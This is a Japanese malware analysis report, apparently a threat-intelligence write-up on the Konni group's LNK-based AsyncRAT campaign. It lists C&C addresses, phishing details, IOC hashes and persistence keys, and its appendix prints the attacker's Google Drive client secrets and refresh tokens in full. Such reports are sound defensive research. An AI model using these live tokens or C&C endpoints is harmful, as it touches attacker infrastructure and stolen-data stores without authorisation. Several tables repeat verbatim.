| 20241015_56801.docx.lnk | 206.206.127.152:6105 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES 2024-10-15 13:12:30

caption - C&C アドレスが 206.206.127[.]152 である不正プログラム

追加で AhnLab の「2024年12月 APT 攻撃動向レポート（韓国国内）」IOC リストに 206.206.127[.]152 が含まれていることを確認しました。これは外部に公開されておらず、自社で確保した不正プログラムから確認された C&C 情報であると見られ、206.206.127[.]152 を C&C サーバーとして使用する不正プログラムが韓国国内を対象とした攻撃で活用されたことを示唆しています。

20240625_47531.docx.lnk を除く、ファイル名が 2024 で始まる不正プログラムと 2025 で始まる不正プログラムは、実行する行為が異なります。

2024で始まる不正プログラム：C&C サーバーから圧縮ファイルをダウンロード
2025で始まる不正プログラム：Dropbox、C&C サーバーから圧縮ファイルをダウンロード

ファイル名が 2025 で始まる不正プログラム 4 個のうち 3 個は、同一の Google Drive、C&C サーバーを使用したことが確認されました。Google Drive の場合、Refresh Token は異なりますが、Folder ID、Client ID、Client Secret は同一です。

特に 20250114_27263.docx.lnk ファイルの Machine ID は残りのファイルとは異なりますが、20250201_388165727.eml.lnk、20250206_68013.docx.lnk ファイルと同一の Google Drive を使用しています。これは、異なる環境で制作されたものの、同一の攻撃者による仕業であると判断できる重要な根拠となります。

| File Name | C&C 정보 | Folder ID | Client ID | Client Secret | **Refresh Token** | Machine ID |
| --- | --- | --- | --- | --- | --- | --- |
| 20250114_27263.docx.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM | desktop-0jpcpit |
| 20250201_388165727.eml.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8 | jooyoung |
| 20250206_68013.docx.lnk | 74.50.94.175:7628, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4 | jooyoung |
| 20250211_03837.docx.lnk | 206.206.127.152:7628, 7032 | 1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa | 159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com | 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 | 1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA | jooyoung |

| File Name | C&C 정보 | Folder ID | Client ID | Client Secret | **Refresh Token** | Machine ID |
| --- | --- | --- | --- | --- | --- | --- |
| 20250114_27263.docx.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM | desktop-0jpcpit |
| 20250201_388165727.eml.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8 | jooyoung |
| 20250206_68013.docx.lnk | 74.50.94.175:7628, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4 | jooyoung |
| 20250211_03837.docx.lnk | 206.206.127.152:7628, 7032 | 1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa | 159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com | 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 | 1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA | jooyoung |

| File Name | C&C 정보 | Folder ID | Client ID | Client Secret | **Refresh Token** | Machine ID |
| --- | --- | --- | --- | --- | --- | --- |
| 20250114_27263.docx.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM | desktop-0jpcpit |
| 20250201_388165727.eml.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8 | jooyoung |
| 20250206_68013.docx.lnk | 74.50.94.175:7628, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4 | jooyoung |
| 20250211_03837.docx.lnk | 206.206.127.152:7628, 7032 | 1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa | 159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com | 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 | 1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA | jooyoung |

caption - 不正プログラムから抽出した Google Drive API 情報

3.4. C&C サーバーに関連するフィッシングメール

追加で、C&C サーバー 74.50.94[.]175 が過去にフィッシングメールに活用された履歴が存在します。大韓民国の行政情報関連サービスである「国民秘書」や「行政安全部」を詐称したフィッシングメールで、本文内にリンクが設定されたボタンが含まれています。該当ボタンをクリックするとフィッシングサイトへ移動し、個人情報の入力を誘導します。

caption - メール本文

2 つのフィッシングメールには送信元サーバー情報を含む X-PHP-Script ヘッダーが存在しますが、これは攻撃者が PHPMailer を使用してメールを送信したと判断できる根拠です。PHPMailer は、北朝鮮の攻撃グループがフィッシングメールを送信する際によく活用するツールです。

| 발신일 | 발신자 | X-PHP-Script | 본문 내 링크 |
| --- | --- | --- | --- |
| 2024년 8월 3일 | 전자문서, help@taylorswift.store | weakandstrong.com/wp-sendall.php for 74.50.94.175 | hxxps://olsiop.shop/page?m=verify&token=cW9yd2tyZGlyMTIzQG5hdmVyLmNvbQ==&last=security |
| 2024년 10월 22일 | 알림, help.ph-444.site | diagandcall.com/wp-sendqq.php for 74.50.94.175, 74.50.94.175 | hxxps://RRGrg3yur78ewgewFf@acieodls.shop/page/?m=verify&token=dXNvdXBwQG5hdmVyLmNvbQ==&last=security |

| 발신일 | 발신자 | X-PHP-Script | 본문 내 링크 |
| --- | --- | --- | --- |
| 2024년 8월 3일 | 전자문서, help@taylorswift.store | weakandstrong.com/wp-sendall.php for 74.50.94.175 | hxxps://olsiop.shop/page?m=verify&token=cW9yd2tyZGlyMTIzQG5hdmVyLmNvbQ==&last=security |
| 2024년 10월 22일 | 알림, help.ph-444.site | diagandcall.com/wp-sendqq.php for 74.50.94.175, 74.50.94.175 | hxxps://RRGrg3yur78ewgewFf@acieodls.shop/page/?m=verify&token=dXNvdXBwQG5hdmVyLmNvbQ==&last=security |

| 발신일 | 발신자 | X-PHP-Script | 본문 내 링크 |
| --- | --- | --- | --- |
| 2024년 8월 3일 | 전자문서, help@taylorswift.store | weakandstrong.com/wp-sendall.php for 74.50.94.175 | hxxps://olsiop.shop/page?m=verify&token=cW9yd2tyZGlyMTIzQG5hdmVyLmNvbQ==&last=security |
| 2024년 10월 22일 | 알림, help.ph-444.site | diagandcall.com/wp-sendqq.php for 74.50.94.175, 74.50.94.175 | hxxps://RRGrg3yur78ewgewFf@acieodls.shop/page/?m=verify&token=dXNvdXBwQG5hdmVyLmNvbQ==&last=security |

caption - 各メールから確認された情報

フィッシングサイトのドメインである olsiop[.]shop と acieodls[.]shop は 74.50.94[.]47 IP アドレスと接続された痕跡が確認され、これは X-PHP-Script ヘッダーに存在する 74.50.94[.]175 と同一の帯域の IP アドレスです。したがって、攻撃者は同一の帯域に属している 2 つの IP アドレスを攻撃に活用したことが分かります。

caption - VirusTotal で確認した DNS レコード情報

3.5. 追加の不正プログラム拡散の状況

本レポートで分析した不正プログラムの感染ログは uuu__[年_月_日_時_分_秒]_Result_log.txt 形式でしたが、Google Drive から sss__[年_月_日_時_分_秒]_Result_log.txt ファイルが追加で確認されました。これは、攻撃者が他の不正プログラムを拡散している可能性を示唆しています。

파일 이름: uuu__2025_02_12__11:58:12_Result_log.txt
ID: 1EXHdw12xVtOHHjuPAFh5Gplh4gycK3l3
MIME Type: text/plain
파일 크기: 40 bytes
생성 날짜: 2025-02-12T05:35:48.601Z
소유자: Andrey Tony2

파일 이름: sss__2025_02_11__19:22:38_Result_log.txt
ID: 1tbsoS0zlFBTl9vg2IPE2B50vn5zOPMiu
MIME Type: text/plain
파일 크기: 40 bytes
생성 날짜: 2025-02-12T03:22:36.982Z
소유자: Andrey Tony2

파일 이름: uuu__2025_02_12__11:58:12_Result_log.txt
ID: 1EXHdw12xVtOHHjuPAFh5Gplh4gycK3l3
MIME Type: text/plain
파일 크기: 40 bytes
생성 날짜: 2025-02-12T05:35:48.601Z
소유자: Andrey Tony2

파일 이름: sss__2025_02_11__19:22:38_Result_log.txt
ID: 1tbsoS0zlFBTl9vg2IPE2B50vn5zOPMiu
MIME Type: text/plain
파일 크기: 40 bytes
생성 날짜: 2025-02-12T03:22:36.982Z
소유자: Andrey Tony2

파일 이름: uuu__2025_02_12__11:58:12_Result_log.txt
ID: 1EXHdw12xVtOHHjuPAFh5Gplh4gycK3l3
MIME Type: text/plain
파일 크기: 40 bytes
생성 날짜: 2025-02-12T05:35:48.601Z
소유자: Andrey Tony2

파일 이름: sss__2025_02_11__19:22:38_Result_log.txt
ID: 1tbsoS0zlFBTl9vg2IPE2B50vn5zOPMiu
MIME Type: text/plain
파일 크기: 40 bytes
생성 날짜: 2025-02-12T03:22:36.982Z
소유자: Andrey Tony2

実際に 20250114_27263.docx.lnk 不正プログラムから生成された感染ログは ttt__[年_月_日_時_分_秒]_Result_log.txt 形式で確認されました。これは、攻撃者が他の不正プログラムを拡散している可能性を裏付ける根拠となります。

20250114_27263.docx.lnk 악성코드 분석 과정에서 확인된 정보

caption - 20250114_27263.docx.lnk 不正プログラムの分析プロセスで確認された情報

今週 3 月 10 日に同一タイプの不正プログラムを追加で確保することができ、該当不正プログラムで確認された Dropbox ファイル情報と、去る 2 月 18 日に別の不正プログラムで確認した Dropbox ファイル情報から類似点を発見しました。ファイル名、アップロードした人物の情報が同一で、ファイルサイズが類似しています。

2月18日分析の不正プログラム - aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6

3月10日分析の不正プログラム - 811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81

caption - (左) 2月18日に確認した情報 (右) 3月10日に確認した情報

分析プロセスの過程で Google Drive API 情報を追加で確認することができ、感染ログの形式や実行する行為はすべて同一です。これにより、攻撃者が持続的に同一の攻撃を実行していることが分かります。しかし、感染ログをアップロードした後の次の不正プログラムを確保することはできませんでした。これは、感染ログが検知され、Polling または Webhook などのメカニズムが停止されたためと推定されます。

caption - アクセストークン発行ルーチン

2 月 18 日に分析した不正プログラムには Dropbox API 情報が存在し、3 月 10 日に分析した不正プログラムには Google Drive API 情報が存在します。これらを通じて確認された攻撃者のメールアドレスにおいて、数字は異なりますが同一の文字列が含まれていることが分かります。

Dropbox API result
account_id: dbid:AABMYEiKfu6n8KLTaNbeQAw0AWEwZtRheT4 name: {'given_name': 'widy', 'surname': 'ket', 'familiar_name': 'widy', 'display_name': 'widy ket', 'abbreviated_name': 'WK'} email: widyket02122@gmail.com email_verified: True disabled: False country: US locale: en referral_link: https://www.dropbox.com/referrals/AACB4D4xxVeZQqxKKcBvnvC_PVsPOaffNr4?src=app9-6854065 is_paired: False account_type: {'.tag': 'basic'} root_info: {'.tag': 'user', 'root_namespace_id': '12246318241', 'home_namespace_id': '12246318241'
account_id: dbid:AABMYEiKfu6n8KLTaNbeQAw0AWEwZtRheT4 name: {'given_name': 'widy', 'surname': 'ket', 'familiar_name': 'widy', 'display_name': 'widy ket', 'abbreviated_name': 'WK'} email: widyket02122@gmail.com email_verified: True disabled: False country: US locale: en referral_link: https://www.dropbox.com/referrals/AACB4D4xxVeZQqxKKcBvnvC_PVsPOaffNr4?src=app9-6854065 is_paired: False account_type: {'.tag': 'basic'} root_info: {'.tag': 'user', 'root_namespace_id': '12246318241', 'home_namespace_id': '12246318241'
account_id: dbid:AABMYEiKfu6n8KLTaNbeQAw0AWEwZtRheT4 name: {'given_name': 'widy', 'surname': 'ket', 'familiar_name': 'widy', 'display_name': 'widy ket', 'abbreviated_name': 'WK'} email: widyket02122@gmail.com email_verified: True disabled: False country: US locale: en referral_link: https://www.dropbox.com/referrals/AACB4D4xxVeZQqxKKcBvnvC_PVsPOaffNr4?src=app9-6854065 is_paired: False account_type: {'.tag': 'basic'} root_info: {'.tag': 'user', 'root_namespace_id': '12246318241', 'home_namespace_id': '12246318241'
Google Drive API result
{ "name": "rrr__2025_03_10__22:47:02_Result_log.txt", "mimeType": "text/plain", "createdTime": "2025-03-10T13:47:03.739Z", "owners": [ { "kind": "drive#user", "displayName": "Bonc Ken", "photoLink": "https://lh3.googleusercontent.com/a/ACg8ocKnUCafLOJBYtrhtGO54t-HCIRkNsHB7BEAuBjzh_y7ZXXKpA=s64", "me": true, "permissionId": "16638273407817846451", "emailAddress": "widyket021701@gmail.com" } ], "size": "40"
{ "name": "rrr__2025_03_10__22:47:02_Result_log.txt", "mimeType": "text/plain", "createdTime": "2025-03-10T13:47:03.739Z", "owners": [ { "kind": "drive#user", "displayName": "Bonc Ken", "photoLink": "https://lh3.googleusercontent.com/a/ACg8ocKnUCafLOJBYtrhtGO54t-HCIRkNsHB7BEAuBjzh_y7ZXXKpA=s64", "me": true, "permissionId": "16638273407817846451", "emailAddress": "widyket021701@gmail.com" } ], "size": "40"
{ "name": "rrr__2025_03_10__22:47:02_Result_log.txt", "mimeType": "text/plain", "createdTime": "2025-03-10T13:47:03.739Z", "owners": [ { "kind": "drive#user", "displayName": "Bonc Ken", "photoLink": "https://lh3.googleusercontent.com/a/ACg8ocKnUCafLOJBYtrhtGO54t-HCIRkNsHB7BEAuBjzh_y7ZXXKpA=s64", "me": true, "permissionId": "16638273407817846451", "emailAddress": "widyket021701@gmail.com" } ], "size": "40"

追加で、Dropbox から追加の不正プログラムを受け取って持続性を確保する PowerShell スクリプトは、VirusTotal で「正常（Clean）」として検知されます。

caption - 正常として検知される悪意のある PowerShell スクリプト

4. 対応策

4.1. ファイルタイプの確認

攻撃者は、LNKファイルを [File name].docx.lnk、[File name].eml.lnk、[File name].pdf.lnk のように、文書の拡張子が含まれる形式でファイル名を設定し、該当する文書のアイコンを適用することで、正常な文書ファイルであるかのように偽装します。LNKファイルは基本的に拡張子が表示されないため、ファイルを実行する前にファイルタイプを確認し、「ショートカット」ファイルであれば実行しないようにすることが重要です。

caption - ファイルタイプの確認

4.2. 出元が不明な電子メールへの注意

本レポートでは言及されていませんが、LNKファイルを悪用した攻撃の大部分はフィッシングメールを介して行われます。そのため、セキュリティ対策として以下の措置を推奨します。

出元が不明な電子メールの添付ファイルは実行せず、メールに含まれるリンクはクリックしません。
送信元が信頼できる機関であるか確認し、メールアドレスが正常であるか確認します。
マルウェアと疑われる添付ファイルは、ウイルス対策ソフトによる検査を行うか、またはVirusTotal (バイリストータル)にアップロードして、悪質なものであるか確認します。圧縮パスワードが設定されている場合は、解凍後のファイルをアップロードします。

5. おわりに

本報告書では、LNKファイルを活用したKonniグループの最新の攻撃事例を分析しました。攻撃者はLNKファイルを文書ファイルのように偽装して初期感染を誘導し、その後、Google DriveやDropboxなどのクラウドサービスを悪用して追加のマルウェアを配布する戦略を使用しました。また、最終的に実行されるAsyncRATは、C&Cサーバーの情報を実行引数として受け取って動作する方式に変更されました。これは、従来のようにC&Cサーバーの情報をマルウェアにハードコーディングする方式よりも柔軟性が高く、別途サーバーを構築すれば誰でもマルウェアを活用できます。このような方式は、攻撃者の身元と攻撃インフラとの間の繋がりを曖昧にし、追跡を困難にします。

このほか、LNKファイルのメタデータの特徴を利用して、追加のマルウェアを確保することができ、AsyncRAT C&Cサーバーがフィッシングメール攻撃に活用された履歴も確認されました。LNKファイルのメタデータは攻撃者が修正できますが、追加で確保されたマルウェアで共通して使用されるC&CサーバーとGoogle Drive APIの情報が存在し、TTPsも同様の方式で実行されました。これらの根拠から、当該攻撃は同一の攻撃グループによるものと判断できます。

現在も該当の攻撃は継続的に発見されており、攻撃者たちは製品の検知を回避するために様々な手法を試みています。実際に、VirusTotalには様々な方式で追加のペイロードを実行するテスト用LNKサンプルが多数確認されています。これは、攻撃者が検知を回避し、より効果的な感染手法を模索するために、絶えず新しい試みを行っていることを示しています。本報告書で分析した攻撃方式は現在も活用されています。Enki Whitehat脅威研究チームは、このような脅威を継続的に監視・追跡し、より安全なサイバー空間の作成に貢献していきます。

6. 付録

付録 A. MITRE ATT&CK

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting InterpreterWindows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.002: User Execution: Malicious Link |
| Persistence | T1053.005: Scheduled Task/Job: Scheduled Task-nT1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1070:004: Indicator Removal: File Deletion-T1620: Reflective Code Loading |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-T1102: Web Service|
| Exfiltration | T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting InterpreterWindows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.002: User Execution: Malicious Link |
| Persistence | T1053.005: Scheduled Task/Job: Scheduled Task-nT1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1070:004: Indicator Removal: File Deletion-T1620: Reflective Code Loading |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-T1102: Web Service|
| Exfiltration | T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting InterpreterWindows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.002: User Execution: Malicious Link |
| Persistence | T1053.005: Scheduled Task/Job: Scheduled Task-nT1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1070:004: Indicator Removal: File Deletion-T1620: Reflective Code Loading |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-T1102: Web Service|
| Exfiltration | T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

caption - MITRE ATT&CK

付録 B. IOC

ハンティング型マルウェア

268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 - 20250211_03837.docx.lnk
5967513540ad610ddbbc124f2437cf58dd10341da7d8d016932e74c3241dfa2a - d.ps1
47abd1682a88f7aadd3fe57583a7edba9cae2d7cf6632df19fbe687544dac632 - gs.zip
9af27198deefa87bb1d3868abb295f0136c18e74b5231772351c359ccd740323 - 83972.tmp
694af547d321771e69c48cf3c04411fc1de1b5d4a465815c54fff44d3d8da790 - G3892.tmp
68621690299e676b7562aca350a4ab87b898919c140b11bac7282d9c07d53838 - tmps4.ps1
7a21d0e9793a4f115d395c6e99927d54840a75f9f5501d77eca52c2e35069006 - rt_10_dummy_0206.tmp(AsyncRAT)

追加で特定されたマルウェア

9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320
f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1
aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad
ba52ab256079f80fdf9c47bf5fc215fed99ed1659c976ca692f4493e08e4b301
dfeec1052063d6dc69cc6d23ca0cd262cd06899554f5ebd528d5d72935204bf2
11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34596bd84c11ec2a4ebd
52b8e4da732d06000e29d7609668021be8cc99fccd9fb4a04f93f1c25d11bdd6
f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0
11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e
e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983
811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81
aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6

C&C

206.206.127[.]152:7628
206.206.127[.]152:7032
206.206.127[.]152:6606
206.206.127[.]152:9027
206.206.127[.]152:9002
206.206.127[.]152:6105
74.50.94[.]175:9992
74.50.94[.]175:7628
74.50.94[.]175:7032

Task Info

AGMicrosoftEdgeUpdateExpanding[7923498737]
AMicrosoftEdgeUpdateExpanding[3829710973]

Registry Info

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GUpdate2
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SUpdate

Gmail Info

widyket02122@gmail.com
widyket021701@gmail.com
andreytony001@gmail.com

付録 C. API Info

Google Drive API Info

f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM"

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM"

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM"

11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8"

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8"

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8"

e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4"

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4"

folder_id = "1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy"
client_id = "71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4"

268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547

folder_id = "1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa"
client_id = "159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA"

folder_id = "1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa"
client_id = "159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA"

folder_id = "1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa"
client_id = "159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA"

811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81

folder_id = "1ktR0YQGBIz82IJb6vezlsKEbkUdv6l0L"
client_id = "65054017293-7kvu5k3rd9gam8uj8pemoc35pfl93ct4.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//040Z2ylrAaX67CgYIARAAGAQSNwF-L9IrH8y9nHxEuWMZvRIBvyzBU9zgOt6_9wDyWQHuIrCVnQ6Q6tQRVlePMMIv8kBbJmGgKT8"

folder_id = "1ktR0YQGBIz82IJb6vezlsKEbkUdv6l0L"
client_id = "65054017293-7kvu5k3rd9gam8uj8pemoc35pfl93ct4.apps.googleusercontent.com"
client_secret = "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"
refresh_token = "1//040Z2ylrAaX67CgYIARAAGAQSNwF-L9IrH8y9nHxEuWMZvRIBvyzBU9zgOt6_9wDyWQHuIrCVnQ6Q6tQRVlePMMIv8kBbJmGgKT8"

folder_id = "1ktR0YQGBIz82IJb6vezlsKEbkUdv6l0L"
client_id = "65054017293-7kvu5k3rd9gam8uj8pemoc35pfl93ct4.apps.googleusercontent.com"
client_secret = "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"
